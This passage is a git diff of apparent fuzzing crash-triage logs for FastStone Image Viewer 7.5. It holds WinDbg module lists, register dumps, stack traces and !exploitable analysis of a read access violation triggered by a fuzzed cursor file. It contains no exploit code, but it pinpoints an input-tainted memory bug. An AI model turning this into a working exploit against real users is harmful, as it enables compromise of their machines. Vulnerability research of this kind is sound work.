C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(878.440): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14ff0002 ebx=00000e1e ecx=07ef8180 edx=000005a6 esi=12830260 edi=0da8afd4 +eip=005bdfc9 esp=14fef868 ebp=14fefd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14ff0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.500026498502561040000e+0017 st5= 8.500028216489479680000e+0017 +st6= 8.500029934476398320000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14ff0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14ff0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14fefd10 0060d6fc 00000000 14fefd78 14fefd48 image00000000_00400000+0x1bdfc9 +14fefd88 005ff93f 14fefde8 005ffbc2 14fefde0 image00000000_00400000+0x20d6fc +14fefde0 0090e28b 14fefdf4 0090e3b5 14fefe38 image00000000_00400000+0x1ff93f +14fefe38 0090efea 14fefea4 14fefea8 14fefeac image00000000_00400000+0x50e28b +14fefec0 008d05d5 14fefed4 008d06ab 14feff00 image00000000_00400000+0x50efea +14feff00 008d0991 14feff14 008d0a43 14feff2c image00000000_00400000+0x4d05d5 +14feff2c 0042c0bf 14feff40 0042c0c9 14feff5c image00000000_00400000+0x4d0991 +14feff5c 00404c22 14feffcc 0040475c 14feff70 image00000000_00400000+0x2c0bf +14feff70 7572f989 07ffbec0 7572f970 14feffdc image00000000_00400000+0x4c22 +14feff80 770b7084 07ffbec0 e0dbe6aa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14feffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14feffec 00000000 00404bf8 07ffbec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14ff0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2f76535 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..c0f6084 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f70002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0e9cb80 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e2b50ba --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x460: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x460: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(460.1460): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f60002 ebx=00000e1e ecx=07e48180 edx=000005a6 esi=1282f470 edi=0da8efd4 +eip=005bdfc9 esp=14f5f868 ebp=14f5fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.488767499434134800000e+0017 st5= 8.488769217421053440000e+0017 +st6= 2.539999999999999999970e+0000 st7= 1.990007000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f5fd10 0060d6fc 00000000 14f5fd78 14f5fd48 image00000000_00400000+0x1bdfc9 +14f5fd88 005ff93f 14f5fde8 005ffbc2 14f5fde0 image00000000_00400000+0x20d6fc +14f5fde0 0090e28b 14f5fdf4 0090e3b5 14f5fe38 image00000000_00400000+0x1ff93f +14f5fe38 0090efea 14f5fea4 14f5fea8 14f5feac image00000000_00400000+0x50e28b +14f5fec0 008d05d5 14f5fed4 008d06ab 14f5ff00 image00000000_00400000+0x50efea +14f5ff00 008d0991 14f5ff14 008d0a43 14f5ff2c image00000000_00400000+0x4d05d5 +14f5ff2c 0042c0bf 14f5ff40 0042c0c9 14f5ff5c image00000000_00400000+0x4d0991 +14f5ff5c 00404c22 14f5ffcc 0040475c 14f5ff70 image00000000_00400000+0x2c0bf +14f5ff70 7572f989 07f4bec0 7572f970 14f5ffdc image00000000_00400000+0x4c22 +14f5ff80 770b7084 07f4bec0 73b65411 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f5ffdc 770b7054 ffffffff 770d62c4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f5ffec 00000000 00404bf8 07f4bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f60002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e2b50ba --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/22837/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + 